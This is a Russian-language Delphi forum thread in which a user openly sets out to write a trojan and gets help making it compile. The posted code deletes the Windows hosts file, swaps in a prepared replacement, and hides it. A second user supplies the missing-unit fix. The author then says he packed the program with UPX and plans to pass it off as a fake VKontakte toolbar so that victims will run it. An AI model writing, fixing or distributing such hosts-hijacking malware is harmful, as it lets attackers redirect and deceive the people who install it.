Понедельник, 21.06.2021, 19:19 Приветствую вас Гость | Группа "Гости" 
[ Новые сообщения · Участники · Правила форума · Поиск · RSS ]
  • Страница 1 из 1
  • 1
Модератор форума: xXxSh@dowxXx, Anton93, Волк-1024  
delphicode » Delphi » Вопросы по Delphi » Trojan.Hosts (В чем ошибка?)
Trojan.Hosts
cool1Дата: Воскресенье, 19.09.2010, 10:10 | Сообщение # 1
Участник
Зарегистрирован: 14.07.2010
Группа: Пользователи
Сообщений: 238
Статус: Offline
Я решил написать троя но возникла проблема в чем я допустил ошибку?
Quote
program Trojan.Hosts;

uses
Windows;

begin
DeleteFile('C:\WINDOWS\system32\drivers\etc\hosts');
CopyFile('C:\WINDOWS\syctem32\vk\hosts', 'C:\WINDOWS\system32\drivers\etc\hosts', true);
SetFileAttributes('C:\WINDOWS\system32\drivers\etc\hosts',faHidden);
CopyFile('C:\WINDOWS\syctem32\vk\hosts.txt', 'C:\WINDOWS\system32\drivers\etc\hosts.txt', true);
end.


Проект не компилируется! дето тут ошибка faHidden



За помощь ставьте +!


Сообщение отредактировал cool1 - Воскресенье, 19.09.2010, 10:11
 
opiusДата: Воскресенье, 19.09.2010, 11:12 | Сообщение # 2
Частый гость
Зарегистрирован: 18.03.2010
Группа: Пользователи
Сообщений: 46
Статус: Offline
SysUtils забыл добавить

Quote
program Trojan.Hosts;

uses
Windows,SysUtils;

begin
DeleteFile('C:\WINDOWS\system32\drivers\etc\hosts');
CopyFile('C:\WINDOWS\syctem32\vk\hosts', 'C:\WINDOWS\system32\drivers\etc\hosts', true);
SetFileAttributes('C:\WINDOWS\system32\drivers\etc\hosts',faHidden);
CopyFile('C:\WINDOWS\syctem32\vk\hosts.txt', 'C:\WINDOWS\system32\drivers\etc\hosts.txt', true);
end.






Сообщение отредактировал opius - Воскресенье, 19.09.2010, 11:14
 
cool1Дата: Воскресенье, 19.09.2010, 11:15 | Сообщение # 3
Участник
Зарегистрирован: 14.07.2010
Группа: Пользователи
Сообщений: 238
Статус: Offline
ха спс а я мучаюсь


За помощь ставьте +!
 
cool1Дата: Воскресенье, 19.09.2010, 11:21 | Сообщение # 4
Участник
Зарегистрирован: 14.07.2010
Группа: Пользователи
Сообщений: 238
Статус: Offline
тока так:
Quote
program Trojan.Hosts;

uses
Windows,SysUtils;

begin
DeleteFile('%SystemRoot%\system32\drivers\etc\hosts');
CopyFile('%SystemRoot%\system32\vk\hosts', '%SystemRoot%\system32\drivers\etc\hosts', true);
SetFileAttributes('%SystemRoot%\system32\drivers\etc\hosts',faHidden);
CopyFile('%SystemRoot%\system32\vk\hosts.txt', '%SystemRoot%\system32\drivers\etc\hosts.txt', true);
end.

Сжал upx'ом размер 20кб!!! Нао птом написать типа фэйка тул бара для контакта и все! Он запустит ВИРЬ



За помощь ставьте +!


Сообщение отредактировал cool1 - Воскресенье, 19.09.2010, 11:28
 
delphicode » Delphi » Вопросы по Delphi » Trojan.Hosts (В чем ошибка?)
  • Страница 1 из 1
  • 1
Поиск:

delphicode.ru © 2008 - 2021 Хостинг от uCoz